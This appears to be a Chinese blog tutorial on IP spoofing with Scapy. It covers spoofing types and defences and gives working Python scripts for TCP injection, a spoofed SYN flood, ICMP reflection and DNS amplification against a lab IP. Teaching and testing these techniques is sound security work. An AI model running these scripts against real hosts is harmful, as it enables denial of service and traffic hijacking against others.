• 使用 Scapy 库编写 IP 地址欺骗攻击脚本


    一、介绍

    1.1 概述

    IP地址欺骗(IP Spoofing)是一种网络攻击技术,攻击者伪造其数据包的源IP地址,使其看起来像是从其他合法地址发送的。这种技术常用于各种攻击中,例如DDoS攻击、Man-in-the-Middle(MITM)攻击和拒绝服务(DoS)攻击等。

    1.2 攻击原理

    IP地址欺骗的核心在于攻击者能够创建带有伪造源IP地址的IP数据包。当目标系统接收到这些数据包时,会误以为它们来自合法的来源,从而执行攻击者预期的操作。由于IP协议本身并不验证数据包的源地址,这种攻击变得相对容易实现。

    1.3 具体类型

    1. 非盲欺骗(Non-blind Spoofing)

      • 攻击者能够看到目标系统和合法来源之间的通信。通过截获和分析数据包,攻击者可以伪造合法的IP地址并插入恶意数据包。
    2. 盲欺骗(Blind Spoofing)

      • 攻击者无法看到目标系统和合法来源之间的通信,只能猜测数据包的内容和序列号。盲欺骗通常用于攻击需要少量数据包的协议(如ICMP和UDP)。
    3. 反射攻击(Reflection Attack)

      • 攻击者伪造数据包的源IP地址,使其看起来像是来自目标系统,并将这些数据包发送到第三方服务器。第三方服务器会将响应数据包发送到目标系统,形成反射攻击。
    4. 放大攻击(Amplification Attack)

      • 类似于反射攻击,但利用能够产生大响应的数据包服务(如DNS和NTP),使目标系统收到大量响应数据包,从而导致资源耗尽。

    1.4 防御措施

    1. 反向路径转发(Reverse Path Forwarding, RPF)

      • 在路由器上启用RPF检查,确保数据包的源地址与预期路径匹配。若不匹配,则丢弃数据包。
    2. 访问控制列表(ACL)

      • 在网络设备上配置ACL,限制哪些IP地址可以发送数据包到特定的网络资源。
    3. 入侵检测和防御系统(IDS/IPS)

      • 部署IDS/IPS,实时监控网络流量,检测并阻止异常的流量模式和伪造的数据包。
    4. 网络防火墙

      • 配置防火墙规则,过滤异常的IP地址和不合法的源IP地址。
    5. 网络分段

      • 使用虚拟局域网(VLAN)技术将网络分段,减少欺骗攻击的影响范围。

    二、实验环境

    受害者:192.168.134.148

    三、实操演示

    3.1 非盲欺骗(Non-blind Spoofing)

    在非盲欺骗中,攻击者能够看到目标系统和合法来源之间的通信,因此可以伪造合法IP地址并插入恶意数据包。

    实验步骤:

    1. 设置环境

      • 攻击者设备能够嗅探目标设备的通信。
      • 使用Wireshark或类似工具观察目标设备和合法来源之间的通信。
    2. 捕获合法数据包

      • 捕获目标设备和合法来源之间的通信,特别是TCP连接建立过程(SYN, SYN-ACK, ACK)。
    3. 插入伪造数据包

      • 使用Scapy构造带有合法序列号和确认号的TCP数据包。
    1. from scapy.all import *
    2. from scapy.layers.inet import TCP
    3. def non_blind_spoofing(target_ip, spoofed_ip, target_port, seq_num, ack_num):
    4. packet = IP(src=spoofed_ip, dst=target_ip) / TCP(sport=12345, dport=target_port, seq=seq_num, ack=ack_num, flags="PA") / b"Non-blind spoofing attack"
    5. send(packet)
    6. if __name__ == "__main__":
    7. target_ip = "192.168.134.148" # 目标系统的IP地址
    8. spoofed_ip = "192.168.1.1" # 伪造的源IP地址
    9. target_port = 80 # 目标系统开放的端口
    10. seq_num = 1000 # 合法通信中捕获的序列号
    11. ack_num = 1001 # 合法通信中捕获的确认号
    12. non_blind_spoofing(target_ip, spoofed_ip, target_port, seq_num, ack_num)

    这里的话其实开两台主机通信效果最明显 

    3.2 盲欺骗(Blind Spoofing)

    在盲欺骗中,攻击者无法看到目标系统和合法来源之间的通信,只能猜测数据包的内容和序列号。这里使用ICMP协议进行简单的盲欺骗示例。 

    实验步骤:

    1. 发送大量伪造SYN数据包
      • 使用Scapy发送大量带有伪造源IP地址的SYN数据包。
    1. from scapy.all import *
    2. import random
    3. from scapy.layers.inet import TCP
    4. def blind_spoofing(target_ip, target_port):
    5. for _ in range(100): # 发送100个伪造的SYN数据包
    6. spoofed_ip = "192.168.1." + str(random.randint(1, 254))
    7. packet = IP(src=spoofed_ip, dst=target_ip) / TCP(sport=random.randint(1024, 65535), dport=target_port, flags="S")
    8. send(packet)
    9. if __name__ == "__main__":
    10. target_ip = "192.168.134.148" # 目标系统的IP地址
    11. target_port = 80 # 目标系统开放的端口
    12. blind_spoofing(target_ip, target_port)

    3.3 反射攻击(Reflection Attack)

    反射攻击利用中间服务器(反射器)将攻击数据包反射回目标系统。攻击者伪造数据包的源IP地址,使其看起来像是来自目标系统,并将数据包发送到第三方服务器。

    1. from scapy.all import *
    2. from scapy.layers.inet import ICMP
    3. def reflection_attack(target_ip, reflector_ip):
    4. # 发送多个ICMP Echo请求包
    5. for _ in range(10): # 发送10个反射攻击包
    6. packet = IP(src=target_ip, dst=reflector_ip) / ICMP() / b"Reflection attack"
    7. send(packet)
    8. print(f"Sent packet to {reflector_ip} with spoofed source {target_ip}")
    9. if __name__ == "__main__":
    10. target_ip = "192.168.134.148" # 目标系统的IP地址
    11. reflector_ip = "192.168.134.147" # 反射器的IP地址,例如公共DNS服务器
    12. reflection_attack(target_ip, reflector_ip)

    3.4 放大攻击(Amplification Attack)

    放大攻击利用能够产生大响应的数据包服务(如DNS和NTP),使目标系统收到大量响应数据包,从而导致资源耗尽。以下示例展示了如何通过伪造源IP地址来实现DNS放大攻击。

    1. from scapy.all import *
    2. from scapy.layers.dns import DNS, DNSQR
    3. from scapy.layers.inet import UDP
    4. def amplification_attack(target_ip, dns_server_ip):
    5. # 构造DNS查询请求
    6. dns_request = IP(src=target_ip, dst=dns_server_ip) / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname="www.hubstc.com.cn"))
    7. for _ in range(10): # 发送10个放大攻击包
    8. send(dns_request)
    9. print(f"Sent DNS request to {dns_server_ip} with spoofed source {target_ip}")
    10. if __name__ == "__main__":
    11. target_ip = "192.168.134.148" # 目标系统的IP地址
    12. dns_server_ip = "192.168.134.147" # 公共DNS服务器的IP地址
    13. amplification_attack(target_ip, dns_server_ip)

    四、注意事项

    1. 合法性和道德规范:确保在合法和授权的环境中进行实验,不得在未经授权的网络上进行IP地址欺骗实验。
    2. 网络隔离:确保实验网络与生产网络隔离,避免对实际业务造成影响。
    3. 监控与恢复:实验过程中实时监控网络和系统状态,实验结束后立即停止攻击工具,并确保系统恢复正常。

  • 相关阅读:
    代码随想录算法训练营第三十九天【动态规划part02】 | 62.不同路径、63. 不同路径 II
    深浅拷贝小整理(对象赋值请注意)
    [nlp] 自然语言理解基准 ATIS Snips
    Android viewpager使用
    Zabbix监控硬盘S.M.A.R.T.信息教程
    MQ 延迟队列
    斑馬打印機打印中文
    【阅读笔记】理解表驱动设计
    JAVA语法技术课第1课day01_Java基础语法&HelloWorld
    并发包中的原子类
  • 原文地址:https://blog.csdn.net/2302_82189125/article/details/139293229